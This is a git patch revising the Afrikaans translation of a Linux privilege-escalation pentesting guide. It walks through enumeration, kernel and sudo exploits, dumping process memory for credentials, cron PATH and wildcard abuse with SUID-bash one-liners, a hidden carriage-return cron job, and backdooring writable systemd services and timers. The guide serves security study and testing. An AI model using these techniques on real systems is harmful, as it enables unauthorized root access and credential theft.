From d4c2893e768011113147e82da597167789df10c2 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 18:54:48 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/apache.m --- .../privilege-escalation/README.md | 649 +++++++++--------- .../pentesting-web/apache.md | 155 +++-- 2 files changed, 419 insertions(+), 385 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 6264b22b5..61ece0a27 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Stelselsinligting +## Stelselinligting ### OS-inligting -Kom ons begin om 'n bietjie kennis te verkry van die bedryfstelsel wat loop +Kom ons begin om inligting oor die lopende OS in te win ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Pad -As jy **skrywe toestemmings op enige vouer binne die `PATH`** veranderlike het, mag jy in staat wees om sommige biblioteke of binêre te kap. +As jy **skryfregte op enige gids binne die `PATH`-veranderlike het** kan jy dalk sekere libraries of binaries hijack: ```bash echo $PATH ``` -### Omgewing info +### Omgewingsinligting -Interessante inligting, wagwoorde of API sleutels in die omgewingsveranderlikes? +Interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kontroleer die kernweergawe en of daar 'n eksploits is wat gebruik kan word om voorregte te verhoog +Kontroleer die kernel-weergawe en of daar 'n exploit is wat gebruik kan word om privileges te escalate. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Jy kan 'n goeie lys van kwesbare kernels en sommige reeds **gecompileerde exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Ander webwerwe waar jy 'n paar **gecompileerde exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Jy kan 'n goeie vulnerable kernel list en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Ander webwerwe waar jy sommige **compiled exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Om al die kwesbare kern weergawe van daardie web te onttrek, kan jy doen: +Om al die vulnerable kernel versions vanaf daardie webwerf te onttrek, kan jy dit doen: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Tools wat kan help om vir kernel exploits te soek is: +Tools wat kan help om na kernel exploits te soek, is: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer uit IN slagoffer, kyk net na exploits vir kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer uit IN victim, slegs kontroleer exploits vir kernel 2.x) -Soek altyd **die kernel weergawe in Google**, dalk is jou kernel weergawe in 'n of ander kernel exploit geskryf en dan sal jy seker wees dat hierdie exploit geldig is. +Soek altyd **die kernel-weergawe op Google**, dalk is jou kernel-weergawe in 'n kernel exploit geskryf en dan sal jy seker wees dat daardie exploit geldig is. ### CVE-2016-5195 (DirtyCow) @@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo weergawe -Gebaseer op die kwesbare sudo weergawes wat verskyn in: +Gebaseer op die kwesbare sudo-weergawes wat verskyn in: ```bash searchsploit sudo ``` -U kan nagaan of die sudo weergawe kwesbaar is deur hierdie grep te gebruik. +Jy kan nagaan of die sudo-weergawe kwesbaar is deur hierdie grep te gebruik. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -75,18 +75,18 @@ sudo -u#-1 /bin/bash ``` ### Dmesg-handtekeningverifikasie het gefaal -Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie kwesbaarheid benut kan word +Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie vuln misbruik kan word ```bash dmesg 2>/dev/null | grep "signature" ``` -### Meer stelselsenumerasie +### Meer system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Lys moontlike verdediging +## Som moontlike verdedigings op ### AppArmor ```bash @@ -121,18 +121,18 @@ fi cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` -## Docker Breekuit +## Docker Breakout -As jy binne 'n docker-container is, kan jy probeer om daaruit te ontsnap: +As jy binne 'n docker container is, kan jy probeer daaruit te ontsnap: {{#ref}} docker-security/ {{#endref}} -## Skyfies +## Skywe -Kyk **wat gemonteer en ongemonteer is**, waar en hoekom. As iets ongemonteer is, kan jy probeer om dit te monteer en na private inligting te kyk. +Kontroleer **wat gemonteer en wat nie gemonteer is nie**, waar en waarom. As iets nie gemonteer is nie, kan jy probeer dit te mount en kyk vir privaat inligting. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Nuttige sagteware -Tel nuttige binaire op +Lys nuttige binaries ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Kontroleer ook of **enige kompilator geïnstalleer is**. Dit is nuttig as jy 'n kernel-ontploffing moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op een soortgelyke). +Kontroleer ook of **enige samesteller geïnstalleer is**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien te samestel waar jy dit gaan gebruik (of op 'n soortgelyke masjien). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Kwetsbare Sagteware Geïnstalleer +### Geïnstalleerde kwesbare sagteware -Kontroleer die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ou Nagios weergawe (byvoorbeeld) wat benut kan word om voorregte te verhoog…\ -Dit word aanbeveel om handmatig die weergawe van die meer verdagte geïnstalleerde sagteware te kontroleer. +Kyk na die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ouer Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word om escalating privileges…\ +Dit word aanbeveel om die weergawe van die meer verdagte geïnstalleerde sagteware handmatig te kontroleer. ```bash dpkg -l #Debian rpm -qa #Centos ``` -As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kyk vir verouderde en kwesbare sagteware wat op die masjien geïnstalleer is. +Indien jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kontroleer vir verouderde en kwesbare sagteware wat in die masjien geïnstalleer is. -> [!NOTE] > _Let daarop dat hierdie opdragte 'n baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om sommige toepassings soos OpenVAS of soortgelyk te gebruik wat sal kyk of enige geïnstalleerde sagteware weergawe kwesbaar is vir bekende eksploitte_ +> [!NOTE] > _Neem kennis dat hierdie kommando's baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om toepassings soos OpenVAS of soortgelyke te gebruik wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_ ## Prosesse -Kyk na **watter prosesse** uitgevoer word en kyk of enige proses **meer regte het as wat dit behoort** (miskien 'n tomcat wat deur root uitgevoer word?) +Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer voorregte het as wat dit behoort te hê** (miskien 'n tomcat wat deur root uitgevoer word?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Kyk altyd vir moontlike [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** identifiseer dit deur die `--inspect` parameter binne die opdragreël van die proses te kontroleer. +Kyk ook na jou **voorregte oor die binaire lêers van die prosesse**, dalk kan jy iemand oorskryf. -### Process monitoring +### Prosesmonitering -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer 'n stel vereistes vervul is. -### Process memory +### Prosesgeheue -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +Sommige dienste op 'n bediener stoor **inlogbewyse in platteks in die geheue**. +Normaalweg sal jy **root privileges** nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer inlogbewyse wil ontdek. +Dit gesê, onthou dat **as 'n gewone gebruiker jy die geheue van die prosesse wat aan jou behoort kan lees**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Let daarop dat deesdae die meeste masjiene **nie ptrace standaard toelaat nie**, wat beteken dat jy nie ander prosesse wat aan jou nie-bevoorregte gebruiker behoort kan dump nie. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Die lêer _**/proc/sys/kernel/yama/ptrace_scope**_ beheer die toeganklikheid van ptrace: > -> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug wees, solank hulle dieselfde uid het. Dit is die klassieke manier waarop ptracing gewerk het. -> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouer proses kan gedebug wees. -> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE vermoë vereis. -> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is 'n herbegin nodig om ptracing weer te aktiveer. +> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke manier waarop ptrace gewerk het. +> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouerproses kan gedebug word. +> - **kernel.yama.ptrace_scope = 2**: slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE bevoegdheid vereis. +> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is 'n herbegin nodig om ptrace weer in te skakel. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin na sy inlogbewyse soek. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Skrip +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Vir 'n gegewe proses ID, **maps wys hoe geheue binne daardie proses se** virtuele adresruimte gemap is; dit wys ook die **toestemmings van elke gemapte streek**. Die **mem** pseudo-lêer **stel die proses se geheue self bloot**. Van die **maps** lêer weet ons watter **geheue streke leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem-lêer te soek en al leesbare streke** na 'n lêer te dump. +Vir 'n gegewe proses-ID, **maps toon hoe geheue binne daardie proses se** virtuele adresruimte gekarteer is; dit wys ook die **toestemmings van elke gekarteerde gebied**. Die **mem** pseudo-lêer **stel die proses se geheue self bloot**. Uit die **maps**-lêer weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem-lêer te seek en alle leesbare gebiede te dump** na 'n lêer. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kern se virtuele adresruimte kan toegang verkry word met /dev/kmem.\ -Tipies, is `/dev/mem` slegs leesbaar deur **root** en die **kmem** groep. +`/dev/mem` gee toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan met /dev/kmem bereik word.\ +Tipies is `/dev/mem` slegs leesbaar deur **root** en die **kmem** groep. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump vir linux +### ProcDump for linux -ProcDump is 'n Linux-herinterpretasie van die klassieke ProcDump-gereedskap uit die Sysinternals-gereedskapstel vir Windows. Kry dit in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump is 'n Linux-herverbeelding van die klassieke ProcDump-instrument uit die Sysinternals-reeks gereedskap vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,38 +267,38 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Gereedskap -Om 'n prosesgeheue te dump, kan jy gebruik maak van: +Om die geheue van 'n proses te dump, kan jy die volgende gebruik: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig die root vereistes verwyder en die proses wat aan jou behoort dump -- Skrip A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is vereis) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig root-vereistes verwyder en die proses wat aan jou behoort dump +- Script A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word vereis) ### Kredensiale uit Prosesgeheue #### Handmatige voorbeeld -As jy vind dat die authenticator proses aan die gang is: +As jy sien dat die authenticator process aan die gang is: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Jy kan die proses dump (sien vorige afdelings om verskillende maniere te vind om die geheue van 'n proses te dump) en soek vir geloofsbriewe binne die geheue: +Jy kan die process dump (sien die vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en in die memory na credentials soek: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Die hulpmiddel [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **duidelike teks geloofsbriewe uit geheue** en van 'n paar **bekende lêers** steel. Dit vereis wortelregte om behoorlik te werk. +Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **steal clear text credentials from memory** en vanaf sommige **bekende lêers**. Dit vereis root privileges om behoorlik te werk. | Kenmerk | Prosesnaam | | ------------------------------------------------- | -------------------- | -| GDM wagwoord (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Sleutelhanger (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Aktiewe FTP Verbindinge) | vsftpd | -| Apache2 (Aktiewe HTTP Basiese Auth Sessions) | apache2 | -| OpenSSH (Aktiewe SSH Sessies - Sudo Gebruik) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### Soek Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -314,100 +314,100 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Geskeduleerde/Cron take +## Geskeduleerde/Cron-take -Kyk of enige geskeduleerde taak kwesbaar is. Miskien kan jy voordeel trek uit 'n skrif wat deur root uitgevoer word (wildcard kwesbaarheid? kan lêers wat root gebruik, wysig? gebruik simboliese skakels? spesifieke lêers in die gids wat root gebruik, skep?). +Kontroleer of enige geskeduleerde taak kwesbaar is. Miskien kan jy 'n script wat deur root uitgevoer word benut (wildcard vuln? kan jy files wat root gebruik wysig? gebruik symlinks? skep spesifieke files in die directory wat root gebruik?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron pad +### Cron path -Byvoorbeeld, binne _/etc/crontab_ kan jy die PAD vind: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Byvoorbeeld, binne _/etc/crontab_ kan jy die PATH vind: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Let op hoe die gebruiker "user" skryfregte oor /home/user het_) +(_Let op hoe die gebruiker "user" skryfprivileges oor /home/user het_) -As die root gebruiker in hierdie crontab probeer om 'n opdrag of skrip uit te voer sonder om die pad in te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ -Dan kan jy 'n root shell kry deur te gebruik: +As binne hierdie crontab die root-gebruiker probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ +Dan kan jy 'n root shell kry deur: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron gebruik 'n skrip met 'n wildcard (Wildcard Injection) +### Cron wat 'n script met 'n wildcard gebruik (Wildcard Injection) -As 'n skrip wat deur root uitgevoer word 'n “**\***” binne 'n opdrag het, kan jy dit benut om onverwagte dinge te maak (soos privesc). Voorbeeld: +As 'n script deur root uitgevoer word en 'n “**\***” in 'n command bevat, kan jy dit uitbuit om onverwagte dinge te laat gebeur (soos privesc). Voorbeeld: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` **As die wildcard voorafgegaan word deur 'n pad soos** _**/some/path/\***_ **, is dit nie kwesbaar nie (selfs** _**./\***_ **is nie).** -Lees die volgende bladsy vir meer wildcard eksploitasiemetodes: +Lees die volgende bladsy vir meer wildcard uitbuitingstrieke: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron-skrip oorskrywing en symlink +### Cron-skrip oorskryf en symlink -As jy **'n cron-skrip kan wysig** wat deur root uitgevoer word, kan jy baie maklik 'n shell kry: +As jy **kan wysig 'n cron script** wat deur root uitgevoer word, kan jy baie maklik 'n shell kry: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -As die skrip wat deur root uitgevoer word 'n **gids gebruik waar jy volle toegang het**, kan dit dalk nuttig wees om daardie gids te verwyder en **'n simboliese skakelgids na 'n ander een te skep** wat 'n skrip wat deur jou beheer word, bedien. +As die script wat deur root uitgevoer word 'n **gids waartoe jy volle toegang het** gebruik, kan dit dalk nuttig wees om daardie gids te verwyder en 'n **symlink-gids na 'n ander een te skep** wat 'n script bedien wat deur jou beheer word. ```bash ln -d -s ``` -### Gereelde cron take +### Gereelde cron jobs -Jy kan die prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daarvan voordeel trek en privaathede verhoog. +Jy kan prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daarvan voordeel trek en escalate privileges. -Byvoorbeeld, om **elke 0.1s gedurende 1 minuut te monitor**, **te sorteer volgens minder uitgevoerde opdragte** en die opdragte wat die meeste uitgevoer is te verwyder, kan jy doen: +Byvoorbeeld, om **moniteer elke 0.1s vir 1 minuut**, **sorteer volgens die minste uitgevoerde opdragte** en verwyder die opdragte wat die meeste uitgevoer is, kan jy doen: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Jy kan ook gebruik maak van** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dit sal elke proses wat begin monitor en lys). +**Jy kan ook gebruik maak van** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dit moniteer en lys elke proses wat begin). -### Onsigbare cron take +### Onsigbare cron jobs -Dit is moontlik om 'n cronjob te skep **wat 'n terugkeerkarakter na 'n opmerking plaas** (sonder 'n nuwe lyn karakter), en die cron taak sal werk. Voorbeeld (let op die terugkeerkarakter): +Dit is moontlik om 'n cronjob te skep deur **'n carriage return na 'n kommentaar te plaas** (sonder newline character), en die cron job sal werk. Voorbeeld (let op die carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Dienste +## Services -### Skryfbare _.service_ lêers +### Writable _.service_ files -Kontroleer of jy enige `.service` lêer kan skryf, as jy kan, kan jy dit **wysig** sodat dit jou **backdoor uitvoer wanneer** die diens **gestart**, **herstart** of **gestop** word (miskien moet jy wag totdat die masjien herbegin word).\ -Byvoorbeeld, skep jou backdoor binne die .service lêer met **`ExecStart=/tmp/script.sh`** +Kyk of jy enige `.service` file kan skryf, as jy dit kan, **kan jy dit wysig** sodat dit **jou backdoor uitvoer wanneer** die diens **begin**, **herbegin** of **gestop** word (miskien sal jy moet wag totdat die masjien herbegin).\ +Byvoorbeeld, skep jou backdoor binne die .service-lêer met **`ExecStart=/tmp/script.sh`** -### Skryfbare diens binaire +### Skryfbare service-binaries -Hou in gedagte dat as jy **skryfregte oor binaire het wat deur dienste uitgevoer word**, jy dit kan verander na backdoors sodat wanneer die dienste weer uitgevoer word, die backdoors uitgevoer sal word. +Hou in gedagte dat as jy **skryftoestemmings oor binaries wat deur services uitgevoer word** het, jy dit kan verander om backdoors in te sit sodat wanneer die services weer uitgevoer word die backdoors uitgevoer sal word. -### systemd PAD - Relatiewe Pade +### systemd PATH - Relatiewe paaie -Jy kan die PAD wat deur **systemd** gebruik word, sien met: +Jy kan die PATH wat deur **systemd** gebruik word sien met: ```bash systemctl show-environment ``` -As jy vind dat jy kan **skryf** in enige van die vouers van die pad, mag jy in staat wees om **privileges te verhoog**. Jy moet soek na **relatiewe pades wat in dienskonfigurasie** lêers gebruik word soos: +As jy vind dat jy in enige van die gidse van die pad kan **skryf**, mag jy moontlik **escalate privileges**. Jy moet soek na **relative paths wat in service konfigurasie-lêers gebruik word**, soos: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Dan, skep 'n **uitvoerbare** lêer met die **selfde naam as die relatiewe pad-binary** binne die systemd PATH-gids wat jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie (**Begin**, **Stop**, **Herlaai**) uit te voer, sal jou **agterdeur uitgevoer word** (onbevoegde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy `sudo -l` kan gebruik). +Skep dan 'n **executable** met presies die **dieselfde naam as die relatiewe pad binary** binne die systemd PATH-lêergids waarin jy kan skryf; wanneer die service gevra word om die kwesbare aksie uit te voer (**Start**, **Stop**, **Reload**), sal jou **backdoor** uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie services begin/stop nie — kyk of jy `sudo -l` kan gebruik). -**Leer meer oor dienste met `man systemd.service`.** +**Lees meer oor services met `man systemd.service`.** ## **Timers** -**Timers** is systemd eenheid lêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender tyd gebeurtenisse en monotone tyd gebeurtenisse en kan asynchrone uitgevoer word. +**Timers** is systemd unit-lêers waarvan die naam eindig in `**.timer**` en wat `**.service**`-lêers of gebeure beheer. **Timers** kan as 'n alternatief vir cron gebruik word, aangesien hulle ingeboude ondersteuning het vir calendar time events en monotonic time events en asynchroon uitgevoer kan word. Jy kan al die timers opnoem met: ```bash @@ -415,58 +415,58 @@ systemctl list-timers --all ``` ### Skryfbare timers -As jy 'n timer kan wysig, kan jy dit laat uitvoer van sommige bestaan van systemd.unit (soos 'n `.service` of 'n `.target`) +As jy 'n timer kan wysig, kan jy dit gebruik om sekere bestaande systemd.unit-eenhede uit te voer (soos 'n `.service` of 'n `.target`). ```bash Unit=backdoor.service ``` -In die dokumentasie kan jy lees wat die Eenheid is: +In die dokumentasie kan jy lees wat die Unit is: -> Die eenheid om te aktiveer wanneer hierdie timer verstryk. Die argument is 'n eenheid naam, waarvan die agtervoegsel nie ".timer" is nie. As dit nie gespesifiseer is nie, is hierdie waarde die standaard vir 'n diens wat dieselfde naam as die timer eenheid het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die eenheid naam wat geaktiveer word en die eenheid naam van die timer eenheid identies genoem word, behalwe vir die agtervoegsel. +> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. -Daarom, om hierdie toestemming te misbruik, moet jy: +Dus, om hierdie toestemming te misbruik sou jy nodig hê om: -- 'n sekere systemd eenheid vind (soos 'n `.service`) wat **'n skryfbare binêre uitvoer** -- 'n sekere systemd eenheid vind wat **'n relatiewe pad uitvoer** en jy het **skryfregte** oor die **systemd PAD** (om daardie uitvoerbare te verpersoonlik) +- Vind some systemd unit (like a `.service`) wat **'n skryfbare binaire uitvoer** +- Vind some systemd unit wat **'n relatiewe pad uitvoer** en jy het **skryfpermissies** oor die **systemd PATH** (om daardie uitvoerbare na te boots) -**Leer meer oor timers met `man systemd.timer`.** +**Lees meer oor timers met `man systemd.timer`.** -### **Timer Aktivering** +### **Timer inskakeling** -Om 'n timer te aktiveer, het jy worteltoestemmings nodig en moet jy uitvoer: +Om 'n timer in te skakel het jy root-regte nodig en moet jy die volgende uitvoer: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Let wel die **timer** is **geaktiveer** deur 'n symlink na dit te skep op `/etc/systemd/system/.wants/.timer` +Let wel dat die **timer** **geaktiveer** word deur 'n symlink daarna te skep op `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) stel **proses kommunikasie** op dieselfde of verskillende masjiene binne kliënt-bediener modelle in staat. Hulle gebruik standaard Unix beskrywer lêers vir inter-rekenaar kommunikasie en word opgestel deur middel van `.socket` lêers. +Unix Domain Sockets (UDS) stel **proseskommunikasie** in staat op dieselfde of verskillende masjiene binne kliënt-bediener modelle. Hulle maak gebruik van standaard Unix-beskrywerlêers vir kommunikasie tussen rekenaars en word opgestel deur `.socket`-lêers. -Sockets kan gekonfigureer word met behulp van `.socket` lêers. +Sockets kan geconfigureer word met behulp van `.socket`-lêers. -**Leer meer oor sockets met `man systemd.socket`.** Binne hierdie lêer kan verskeie interessante parameters gekonfigureer word: +**Leer meer oor sockets met `man systemd.socket`.** In hierdie lêer kan verskeie interessante parameters gekonfigureer word: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies is verskillend, maar 'n opsomming word gebruik om **aan te dui waar dit gaan luister** na die socket (die pad van die AF_UNIX socket lêer, die IPv4/6 en/of poortnommer om na te luister, ens.) -- `Accept`: Neem 'n boolean argument. As **waar**, 'n **diensinstansie word geskep vir elke inkomende verbinding** en slegs die verbinding socket word aan dit oorgedra. 